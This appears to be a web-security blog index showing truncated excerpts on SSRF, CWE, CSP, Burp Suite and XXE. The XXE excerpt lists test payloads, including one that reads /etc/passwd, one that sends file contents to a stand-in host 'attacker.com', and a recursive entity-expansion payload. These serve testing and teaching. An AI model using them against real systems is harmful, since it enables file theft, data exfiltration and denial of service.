Server-Side Request Forgery (SSRF) is a type of security vulnerability that allows an attacker to send crafted requests from a vulnerable server to internal or external resources. This can lead to unauthorized access to sensitive data, manipulation of server behavior, or even exploitation of other services within the network. SSRF exploits the trust that a …
Defending Your Web Applications Against Server-Side Request Forgery (SSRF) Attacks In today’s interconnected digital landscape, web applications face a myriad of security threats. One often overlooked but potentially devastating vulnerability is Server-Side Request Forgery (SSRF). Did you know that, according to a recent report, SSRF attacks have increased by a staggering 270% in the past …
Common Weakness Enumeration (CWE) is a system that identifies and categorizes common software and hardware vulnerabilities. It provides a standardized way of describing and categorizing these weaknesses, making it easier for developers, security analysts, and other professionals to understand, discuss, and address them. CWE was developed by the MITRE Corporation, a nonprofit organization that operates …
Here are some common XXE payloads that can be used to test for XXE- <!DOCTYPE replace [<!ENTITY example “Hello World”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “file:///etc/passwd”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “ftp://username:password@ftp.example.com/file”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “http://example.com/file”>]> <!DOCTYPE replace [<!ENTITY example SYSTEM “http://attacker.com/?data=%file_contents;”>]> <!DOCTYPE replace [<!ENTITY example “Hello &example2;”><!ENTITY example2 “&example;&example;&example;”>]> These payloads are …
Content Security Policy (CSP) is a security measure that helps protect web applications from various attacks, including Cross-Site Scripting (XSS) and data injection. CSP works by specifying a set of Content Security Rules that dictate what resources are allowed to load on a page. This can be used to whitelist trusted sources of content, or …
Burp Suite is a popular web security testing tool that helps you secure web applications by testing and validating vulnerabilities. It’s a comprehensive platform for performing security assessments on web applications, and its extensibility is one of its key features. Burp Suite extensions are add-ons that allow you to customize and extend the functionality of …